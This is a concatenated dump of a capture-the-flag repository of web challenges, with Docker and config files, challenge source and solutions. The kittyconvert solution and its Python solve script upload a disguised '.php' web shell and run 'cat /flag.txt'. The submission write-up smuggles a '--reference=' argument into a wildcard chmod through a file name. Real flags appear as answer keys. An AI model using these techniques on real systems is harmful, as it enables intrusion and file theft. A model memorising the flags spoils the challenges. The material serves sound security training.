"./node_modules/.tmp/tsconfig.node.tsbuildinfo", 5 | "skipLibCheck": true, 6 | "module": "ESNext", 7 | "moduleResolution": "bundler", 8 | "allowSyntheticDefaultImports": true, 9 | "strict": true, 10 | "noEmit": true 11 | }, 12 | "include": ["vite.config.ts"] 13 | } 14 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/frontend/vite.config.ts: -------------------------------------------------------------------------------- 1 | import { defineConfig } from 'vite' 2 | import react from '@vitejs/plugin-react-swc' 3 | 4 | // https://vitejs.dev/config/ 5 | export default defineConfig({ 6 | plugins: [react()], 7 | }) 8 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/handout/seed/seed.sql: -------------------------------------------------------------------------------- 1 | -- Runs on DB init 2 | DROP TABLE IF EXISTS images; 3 | DROP TABLE IF EXISTS stories; 4 | DROP TABLE IF EXISTS exports; 5 | 6 | CREATE TABLE images ( 7 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 8 | tenant_id VARCHAR(36) NOT NULL, 9 | "image" BYTEA NOT NULL 10 | ); 11 | 12 | CREATE TABLE stories ( 13 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 14 | tenant_id VARCHAR(36) NOT NULL, 15 | "text" TEXT NOT NULL CHECK (length("text") > 0 AND length("text") < 100), 16 | "action" TEXT NOT NULL CHECK (length("action") > 0 AND length("action") < 50), 17 | "image_id" INTEGER NOT NULL REFERENCES images(id) 18 | ); 19 | 20 | CREATE TABLE exports ( 21 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 22 | tenant_id VARCHAR(36) NOT NULL, 23 | story_id INTEGER NOT NULL REFERENCES stories(id), 24 | dimensions TEXT NOT NULL, 25 | progress TEXT NOT NULL, 26 | ready boolean NOT NULL DEFAULT FALSE, 27 | image BYTEA NULL 28 | ); 29 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/justfile: -------------------------------------------------------------------------------- 1 | 2 | start: 3 | docker compose up -d 4 | 5 | logs: 6 | docker compose logs -f --tail=10 7 | 8 | stop: 9 | docker compose stop 10 | 11 | destroy: 12 | docker compose down -v 13 | 14 | reset-db: 15 | docker compose stop db 16 | docker compose rm db 17 | docker volume rm backend_dbdata 18 | docker compose up -d db 19 | 20 | exploit: 21 | python3 exp.py 22 | 23 | handout: 24 | mkdir -p handout 25 | 26 | sed -e 's/pollution_is_bad/flag/' compose.yml > handout/compose.yml 27 | cp Dockerfile handout/Dockerfile 28 | 29 | rsync -r ./seed/ ./handout/seed/ 30 | rsync -r ./backend/ ./handout/backend/ 31 | find handout/backend -name '*_test.go' -type f -delete 32 | 33 | rsync -r --exclude node_modules --exclude dist ./frontend/ ./handout/frontend/ 34 | rm -rf handout/node_modules handout/.yarn/cache 35 | tar czvf handout.tar.gz handout 36 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/seed/seed.sql: -------------------------------------------------------------------------------- 1 | -- Runs on DB init 2 | DROP TABLE IF EXISTS images; 3 | DROP TABLE IF EXISTS stories; 4 | DROP TABLE IF EXISTS exports; 5 | 6 | CREATE TABLE images ( 7 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 8 | tenant_id VARCHAR(36) NOT NULL, 9 | "image" BYTEA NOT NULL 10 | ); 11 | 12 | CREATE TABLE stories ( 13 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 14 | tenant_id VARCHAR(36) NOT NULL, 15 | "text" TEXT NOT NULL CHECK (length("text") > 0 AND length("text") < 100), 16 | "action" TEXT NOT NULL CHECK (length("action") > 0 AND length("action") < 50), 17 | "image_id" INTEGER NOT NULL REFERENCES images(id) 18 | ); 19 | 20 | CREATE TABLE exports ( 21 | id INTEGER GENERATED ALWAYS AS IDENTITY PRIMARY KEY, 22 | tenant_id VARCHAR(36) NOT NULL, 23 | story_id INTEGER NOT NULL REFERENCES stories(id), 24 | dimensions TEXT NOT NULL, 25 | progress TEXT NOT NULL, 26 | ready boolean NOT NULL DEFAULT FALSE, 27 | image BYTEA NULL 28 | ); 29 | -------------------------------------------------------------------------------- /web/StoryCreator/challenge-src/src/.tool-versions: -------------------------------------------------------------------------------- 1 | nodejs 20.15.1 2 | -------------------------------------------------------------------------------- /web/blogdog/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ghcr.io/puppeteer/puppeteer:24 2 | 3 | USER root 4 | 5 | # Add user so we don't need --no-sandbox. 6 | RUN mkdir -p /home/pptruser/Downloads /app \ 7 | && chown -R pptruser:pptruser /home/pptruser \ 8 | && chown -R pptruser:pptruser /app 9 | 10 | # Run everything after as non-privileged user. 11 | USER pptruser 12 | 13 | COPY --chown=pptruser:pptruser src/ /app 14 | RUN cd /app/ && npm install 15 | 16 | ENTRYPOINT ["node", "/app/index.js"] -------------------------------------------------------------------------------- /web/blogdog/challenge-handout/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/blogdog/challenge-handout/src/favicon.ico -------------------------------------------------------------------------------- /web/blogdog/challenge-handout/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "blogdog", 3 | "version": "1.0.0", 4 | "description": "webapp + xssbot", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "rebane2001", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.21.2", 13 | "puppeteer": "^24.0.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /web/blogdog/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ghcr.io/puppeteer/puppeteer:24 2 | 3 | USER root 4 | 5 | # Add user so we don't need --no-sandbox. 6 | RUN mkdir -p /home/pptruser/Downloads /app \ 7 | && chown -R pptruser:pptruser /home/pptruser \ 8 | && chown -R pptruser:pptruser /app 9 | 10 | # Run everything after as non-privileged user. 11 | USER pptruser 12 | 13 | COPY --chown=pptruser:pptruser src/ /app 14 | RUN cd /app/ && npm install 15 | 16 | ENTRYPOINT ["node", "/app/index.js"] -------------------------------------------------------------------------------- /web/blogdog/challenge-src/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/blogdog/challenge-src/src/favicon.ico -------------------------------------------------------------------------------- /web/blogdog/challenge-src/src/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "blogdog", 3 | "version": "1.0.0", 4 | "description": "webapp + xssbot", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "rebane2001", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.21.2", 13 | "puppeteer": "^24.0.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.4-apache 2 | 3 | RUN apt-get update && apt-get install -y libpng-dev 4 | RUN docker-php-ext-install gd && docker-php-ext-enable gd 5 | 6 | COPY ./flag.txt /flag.txt 7 | COPY src/ /var/www/html/ 8 | RUN chown www-data:www-data -R /var/www/html/uploads/ 9 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/README.md: -------------------------------------------------------------------------------- 1 | docker-compose up 2 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | kittyconvert: 3 | build: . 4 | ports: 5 | - "8080:80" 6 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/flag.txt: -------------------------------------------------------------------------------- 1 | x3c{fakeflag} -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/kittyconvert/challenge-handout/src/favicon.ico -------------------------------------------------------------------------------- /web/kittyconvert/challenge-handout/src/uploads/.gitfolder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/kittyconvert/challenge-handout/src/uploads/.gitfolder -------------------------------------------------------------------------------- /web/kittyconvert/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | # kittyconvert 2 | 3 | A php webapp has been set up to convert PNG files to ICO. Converted PNG files get the .ico extension and are stored in the `/uploads/` directory. The flag is placed at `/flag.txt`. 4 | 5 | An executable php file can be created by bypassing the regex (`preg_replace("/^(.+)\\..+$/", "$1.ico", ...)`) - this can be done with a filename such as `.php`. When such a file is uploaded it'll not get the `.ico` extension and can be executed by visiting `/uploads/.php`. 6 | 7 | The ICO file format is pretty simple and can be controlled trivially by creating an image with the corresponding BGRA values. However, the alpha values will have the LSB cut off, so only characters where `ord(c) % 2 == 0` can be used. 8 | 9 | An example payload that works within the constraints is ``. The flag can be retrieved by first uploading a PNG with the name `.php` and the above payload encoded, and then visiting `/uploads/.php?c=cat+/flag.txt`. 10 | 11 | A python solve script is included. It requires Pillow and requests, and the `TARGET_URI` variable should be changed to point to the challenge. 12 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-solution/solve.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | import requests 3 | import io 4 | 5 | TARGET_URI = 'http://localhost:8080/' 6 | 7 | im = Image.new("RGBA", (64, 64), "white") 8 | pix = im.load() 9 | 10 | payload = b"" 11 | 12 | for i, vals in enumerate(zip(*[iter(payload)]*4)): 13 | if vals[3] % 2 == 1: 14 | print(f"invalid alpha character '{payload.decode()[i*4+3]}' ({vals[3]}) (needs to be divisible by 2)") 15 | pix[(i%64,i//64)] = (vals[2],vals[1],vals[0],vals[3]) 16 | 17 | out = io.BytesIO() 18 | im.save(out, "PNG") 19 | out.seek(0, 0) 20 | 21 | files = { 22 | 'file': ('.php', out, 'image/png'), 23 | 'submit': (None, 'Convert'), 24 | } 25 | requests.post(TARGET_URI, files=files) 26 | r = requests.get(TARGET_URI + "uploads/.php?c=cat+/flag.txt") 27 | 28 | print('Flag: x3c{' + r.text.split("x3c{")[1].split("}")[0] + '}') 29 | 30 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.4-apache 2 | 3 | RUN apt-get update && apt-get install -y libpng-dev 4 | RUN docker-php-ext-install gd && docker-php-ext-enable gd 5 | 6 | COPY ./flag.txt /flag.txt 7 | COPY src/ /var/www/html/ 8 | RUN chown www-data:www-data -R /var/www/html/uploads/ 9 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | kittyconvert: 3 | build: . 4 | ports: 5 | - "8080:80" 6 | -------------------------------------------------------------------------------- /web/kittyconvert/challenge-src/flag.txt: -------------------------------------------------------------------------------- 1 | x3c{b1tm4p5_4r3_s1mpl3_6u7_7h3_4lph4_1s_w31rd} -------------------------------------------------------------------------------- /web/kittyconvert/challenge-src/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/kittyconvert/challenge-src/src/favicon.ico -------------------------------------------------------------------------------- /web/kittyconvert/challenge-src/src/uploads/.gitfolder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/kittyconvert/challenge-src/src/uploads/.gitfolder -------------------------------------------------------------------------------- /web/submission/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.4-apache 2 | 3 | COPY src/ /var/www/html/ 4 | RUN chown www-data:www-data -R /var/www/html/uploads/ 5 | RUN chmod 000 /var/www/html/uploads/flag.txt 6 | -------------------------------------------------------------------------------- /web/submission/challenge-handout/README.md: -------------------------------------------------------------------------------- 1 | docker-compose up 2 | -------------------------------------------------------------------------------- /web/submission/challenge-handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | submission: 3 | build: . 4 | ports: 5 | - "8080:80" 6 | -------------------------------------------------------------------------------- /web/submission/challenge-handout/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/submission/challenge-handout/src/favicon.ico -------------------------------------------------------------------------------- /web/submission/challenge-handout/src/uploads/flag.txt: -------------------------------------------------------------------------------- 1 | x3c{fakeflag} -------------------------------------------------------------------------------- /web/submission/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | # submissions 2 | 3 | A php web server has been set up to accept challenge submissions and the flag file is already present at `/uploads/flag.txt`. Said flag cannot be accessed due to filesystem permissions, and neither can any uploads (sans a race-condition) due to `chmod 000 *` being run every time a file is uploaded. 4 | 5 | The solution is to abuse the wildcard to inject an argument into the chmod command. By first uploading a file called `--reference=foo.txt` and then a file called `foo.txt`, the chmod command will end up copying the permissions from the `foo.txt` file instead of using 000, and so the flag becomes readable. 6 | 7 | The flag can simply be retrieved from `/uploads/flag.txt` once the permissions have been changed. 8 | -------------------------------------------------------------------------------- /web/submission/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.4-apache 2 | 3 | COPY src/ /var/www/html/ 4 | RUN chown www-data:www-data -R /var/www/html/uploads/ 5 | RUN chmod 000 /var/www/html/uploads/flag.txt 6 | -------------------------------------------------------------------------------- /web/submission/challenge-src/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/submission/challenge-src/src/favicon.ico -------------------------------------------------------------------------------- /web/submission/challenge-src/src/uploads/flag.txt: -------------------------------------------------------------------------------- 1 | x3c{4lw4y5_chm0d_y0ur3_f1l35_4_53cur17y} -------------------------------------------------------------------------------- /web/submission/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | namespace: berg 5 | name: submission 6 | spec: 7 | author: rebane2001 8 | flag: x3c{4lw4y5_chm0d_y0ur3_f1l35_4_53cur17y} 9 | flagFormat: x3c{...} 10 | description: > 11 | Could you help us out? 12 | allowOutboundTraffic: false 13 | difficulty: easy 14 | categories: 15 | - web 16 | containers: 17 | - hostname: submission 18 | image: gcr.io/mvm-x3ctf/x3ctf/challenge/submission:latest 19 | resourceLimits: 20 | cpu: "0.2" 21 | memory: "100Mi" 22 | ports: 23 | - port: 80 24 | protocol: tcp 25 | appProtocol: http 26 | type: publicHttpRoute 27 | attachments: 28 | - fileName: submission.tar.gz 29 | downloadUrl: /handouts/submission.tar.gz 30 | --------------------------------------------------------------------------------